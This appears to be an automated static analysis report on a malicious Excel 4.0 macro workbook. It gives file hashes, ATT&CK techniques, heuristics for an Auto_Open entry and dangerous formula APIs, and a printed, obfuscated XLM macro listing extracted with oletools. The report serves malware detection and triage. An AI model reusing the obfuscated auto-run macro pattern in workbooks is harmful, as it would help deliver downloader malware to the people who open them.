Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ea682315bd046be8…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:20 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 8edad5ba6901c7953229753e56f458fb SHA-1: 7c4675a6e8c8ebadbc33a0871d4e0454a90706b8 SHA-256: ea682315bd046be806b1cba6217c2423cf6cecf0f77572ecf9b1d25e7005941e
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro and the use of dangerous formula APIs, specifically the RUN function. This strongly suggests the macro is designed to execute arbitrary code, likely a downloader for a second-stage payload. No specific family could be identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6603 bytes
SHA-256: 27a47da2b1d6ff0dc48ed0d6ac006f9a0f6e61d1a99c4bd7382d2f69954a8da7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jqukXMKFOsC
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B131 
' 0018     23 LABEL : Cell Value, String Constant - CbarLApT len=0 
' 0018     22 LABEL : Cell Value, String Constant - CGoEMsm len=0 
' 0018     22 LABEL : Cell Value, String Constant - coiomSs len=0 
' 0018     25 LABEL : Cell Value, String Constant - dbwdKCxKzz len=0 
' 0018     23 LABEL : Cell Value, String Constant - dDaOmoiR len=0 
' 0018     26 LABEL : Cell Value, String Constant - DeidadliJXM len=0 
' 0018     27 LABEL : Cell Value, String Constant - fRWBljPPBXgr len=0 
' 0018     22 LABEL : Cell Value, String Constant - GxQcoAa len=0 
' 0018     24 LABEL : Cell Value, String Constant - IWqgYcztX len=0 
' 0018     20 LABEL : Cell Value, String Constant - nrRWl len=0 
' 0018     24 LABEL : Cell Value, String Constant - OVyZYkpNp len=0 
' 0018     25 LABEL : Cell Value, String Constant - SCvIezbZJF len=0 
' 0018     21 LABEL : Cell Value, String Constant - SeSJVN len=0 
' 0018     21 LABEL : Cell Value, String Constant - svXZJz len=0 
' 0018     21 LABEL : Cell Value, String Constant - WFmFll len=0 
' 0018     25 LABEL : Cell Value, String Constant - WNthbCLyXn len=0 
' 0018     26 LABEL : Cell Value, String Constant - yBruhhNtJqX len=0 
' 0018     22 LABEL : Cell Value, String Constant - YCqCgsf len=0 
' 0018     21 LABEL : Cell Value, String Constant - YwXLnB len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZLaKxdUp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jqukXMKFOsC,B43,"SET.NAME("CGoEMsm",VALUE("0"))",""
'  jqukXMKFOsC,B47,"SET.NAME("CbarLApT",CGoEMsm)",""
'  jqukXMKFOsC,B51,"SET.NAME("svXZJz",CGoEMsm)",""
'  jqukXMKFOsC,B53,"SET.NAME("fRWBljPPBXgr",COUNTA(dDaOmoiR))",""
'  jqukXMKFOsC,B55,"SET.NAME("WNthbCLyXn",COUNTA(YwXLnB))",""
'  jqukXMKFOsC,B59,[],""
'  jqukXMKFOsC,B63,"SET.NAME("nrRWl","")",""
'  jqukXMKFOsC,B66,"CbarLApT",""
'  jqukXMKFOsC,B70,"SET.NAME("coiomSs",HLOOKUP("*",dDaOmoiR,CbarLApT,FALSE))",""
'  jqukXMKFOsC,B73,"IWqgYcztX",""
'  jqukXMKFOsC,B78,"SET.NAME("yBruhhNtJqX",CGoEMsm)",""
'  jqukXMKFOsC,B82,[],""
'  jqukXMKFOsC,B86,"yBruhhNtJqX",""
'  jqukXMKFOsC,B90,"ZLaKxdUp",""
'  jqukXMKFOsC,B94,"DeidadliJXM",""
'  jqukXMKFOsC,B96,"WFmFll",""
'  jqukXMKFOsC,B100,"SET.NAME("SCvIezbZJF",VALUE(HLOOKUP("*",YwXLnB,WFmFll,FALSE)))",""
'  jqukXMKFOsC,B102,"YCqCgsf",""
'  jqukXMKFOsC,B104,"nrRWl",""
'  jqukXMKFOsC,B107,"svXZJz",""
'  jqukXMKFOsC,B109,NEXT(),""
'  jqukXMKFOsC,B113,"GxQcoAa",""
'  jqukXMKFOsC,B118,"SET.NAME("f",INT(T(FORMULA(T(nrRWl)&"",""&T(GxQcoAa)))))",""
'  jqukXMKFOsC,B120,"OVyZYkpNp",""
'  jqukXMKFOsC,B123,NEXT(),""
'  jqukXMKFOsC,B127,RETURN(),""
'  jqukXMKFOsC,B148,"SET.NAME("dbwdKCxKzz",B43)",""
'  jqukXMKFOsC,B151,"dDaOmoiR",""
'  jqukXMKFOsC,B154,"SET.NAME("YwXLnB",R87C12)",""
'  jqukXMKFOsC,B156,"SET.NAME("OVyZYkpNp",167)",""
'  jqukXMKFOsC,B161,"SET.NAME("SeSJVN",2)",""
'  jqukXMKFOsC,B166,dbwdKCxKzz(),""
'  jqukXMKFOsC,B167,HALT(),""